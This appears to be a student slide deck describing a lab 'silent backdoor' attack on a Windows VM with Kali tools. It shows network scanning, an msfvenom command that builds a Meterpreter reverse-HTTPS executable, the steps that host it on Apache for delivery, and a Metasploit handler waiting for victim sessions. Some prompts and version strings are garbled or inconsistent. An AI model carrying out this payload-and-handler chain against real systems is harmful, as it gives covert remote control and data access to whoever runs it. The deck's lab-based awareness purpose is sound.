



MY PROJECT

# SILENT-BACKDOOR REMOTE ACCESS USING KALI



TEAM CONTROLX:


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# PROBLEM STATEMENT

- Most systems lack awareness about how backdoors work.
- Remote Access Tools (RATs) are used maliciously by attackers.

## AIM

- To simulate a real-world cyberattack chain using ethical hacking tools in a controlled environment.
  - For the Awareness, the entire work will be done without damaging any real user or internet device.
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# WHAT WE BUILT?

- Simulates silent backdoor entry into a remote Windows system.
- No user interaction required.
- Full remote control post-exploitation.

**RECONNAISSANCE → PAYLOAD GENERATION →**

**EXPLOITATION → SESSION HANDLING → REMOTE  
COMMAND  
EXECUTION**



# TOOLS & ENVIRONMENT

Category	Tools
OS	Kali Linux, Windows 10
Virtualization	VMware Workstation
Recon	Netdiscover
Exploits	Metasploit
Payload	msfvenom
Delivery	Apache2 web Server
Post-Exploitation	Meterpreter, shell



```
(root@Windows) - [/home/nethunter]
# netdiscover -r 192.168.77.0/24
```

TO SCAN NEARBY  
TARGET IP IN SAME  
NETWORK

ATTACKER IP

SCAN DEVICE IP  
IN SAME  
NETWORK

DEVICE IP LIST  
IN SAME  
NETWORK

Currently scanning: Finished! | Screen View: Unique Hosts

11 Captured ARP Req/Rep packets, from 4 hosts. Total size: 660

IP	At	MAC Address	Count	Len	MAC Vendor	Hostname
192.168.77.1		00:50:56:c0:00:08	6	360	VMware, Inc.	
192.168.77.2		00:50:56:ea:5d:66	2	120	VMware, Inc.	
192.168.77.130		00:0c:29:2e:5c:37	2	120	VMware, Inc.	
192.168.77.254		00:50:56:e2:ee:80	1	60	VMware, Inc.	

TARGET IP

```
windows/x64/meterpreter/bind_tcp_udp  
windows/x64/meterpreter/bind_named_pipe  
windows/x64/meterpreter/bind_tcp  
windows/x64/meterpreter/bind_tcp_rc4  
windows/x64/meterpreter/bind_tcp_uuid  
windows/x64/meterpreter/reverse_https  
windows/x64/meterpreter/reverse_named_pipe  
windows/x64/meterpreter/reverse_tcp  
windows/x64/meterpreter/reverse_tcp_rc4  
windows/x64/meterpreter/reverse_tcp_uuid  
windows/x64/meterpreter/reverse_winhttp  
windows/x64/meterpreter/reverse_winhttps  
windows/x64/meterpreter/bind_named_pipe  
windows/x64/meterpreter_bind_tcp  
windows/x64/meterpreter_reverse_https
```

[illegible]

[windows/x64/meterpreter/reverse\\_https](https://windows/x64/meterpreter/reverse_https)

# METASPLOIT PAYLOAD PATH - USED TO SELECT A SPECIFIC TYPE OF PAYLOAD

root@Windows: /home

```
(root@Windows)-[ /home ]
# msfvenom --payload windows/x64/meterpreter_reverse_https LHOST=192.168.77.129 LPORT=8284 --format exe --out ctrl.exe
[ - ] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[ - ] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 204892 bytes
Final size of exe file: 211456 bytes
Saved as: ctrl.exe
```

CREATE PAYLOAD

FORMAT OF EXE

FILE NAME

```
(root@Windows)-[ /home ]
# ls
alice bob cert 'cert burpsuite' charlie ctrl.exe dalton emmy nethunter
(root@Windows)-[ /home ]
#
```

PAYLOAD MODIFICATION (SET LHOST,  
LPORT & FORMAT, FILE NAME)

# START APACHE2 WEB SERVER

## STATUS OF SERVER

## MOVE IT TO APACHE DIRECTORY

```
root@kali:~/httpd-2.4.18# ./httpd -k start
[+] cp /home/ctrl.exe /var/www/html/evil-files
[+] cd /var/www/html/evil-files
[+] ls
alice bob cert 'cert burpsuite' charlie ctrl.exe dalton emmy netlunter
[+] cd /var/www/html/evil-files
[+] service apache2 start
[+] service apache2 status
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
   Active: active (running) since Thu 2025-06-26 13:10:29 IST; 8s ago
     Invocation: c81c9478699bce1b5623d65bafee53
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 19202 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
   Main PID: 19225 (apache2)
      Tasks: 6 (limit: 4986)
     Memory: 22.4M (peak: 23.1M)
      CPU: 280ms
   CGroup: /system.slice/apache2.service
           └─19225 /usr/sbin/apache2 -k start
             └─19228 /usr/sbin/apache2 -k start
               └─19229 /usr/sbin/apache2 -k start
                 └─19230 /usr/sbin/apache2 -k start
                   └─19231 /usr/sbin/apache2 -k start
                     └─19232 /usr/sbin/apache2 -k start
```

root@Wind

```
root@Wind:~# cd /var/www/html/evil-files
root@Wind:~/evil-files# ls
ctrl.exe goku.apk names.exe test.exe testfull.exe
root@Wind:~/evil-files#
```



# LAUNCHES THE METASPLOIT FRAMEWORK TO RUN EXPLOITS AND HANDLE PAYLOADS

```
(root@Windows) ~/home
# metconsole
Metasploit tip: View all productivity tips with the tips command

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.
```

```
Metasploit 2.0.5.1
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.77.129
LHOST => 192.168.77.129
msf6 exploit(multi/handler) > set LPORT 8284
LPORT => 8284
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://192.168.77.129:8284
```

- To receive connections from the backdoor payload
- Set Payload Path
- Set LHOST & LPORT
- ~~keeps~~ the handler active for more incoming sessions
  - Runs the exploit as a background job so it keeps listening



Attacker gains full control of the victim's system after payload execution

- ✔ Meterpreter session Established
- ✔ System info Fetched
- ✔ Shell access Gained
- ✔ Victim's Download folder Accessed



# CONCLUSION:

- Successfully simulated a silent remote access attack.
- Demonstrated the real-world attack chain lifecycle.
- Understood importance of network defenses and OS patching.
- All activities conducted in an ethical, isolated lab setup.



Simulation



Lifecycle



Defense



Ethics



# FUTURE SCOPE

In future this project can be upgraded to ransomware simulation. In which we will run a fake encryption script through Meterpreter so that public and blue team members can understand the behavior of ransomware attack. This will be in a safe lab setup so that no real damage will occur.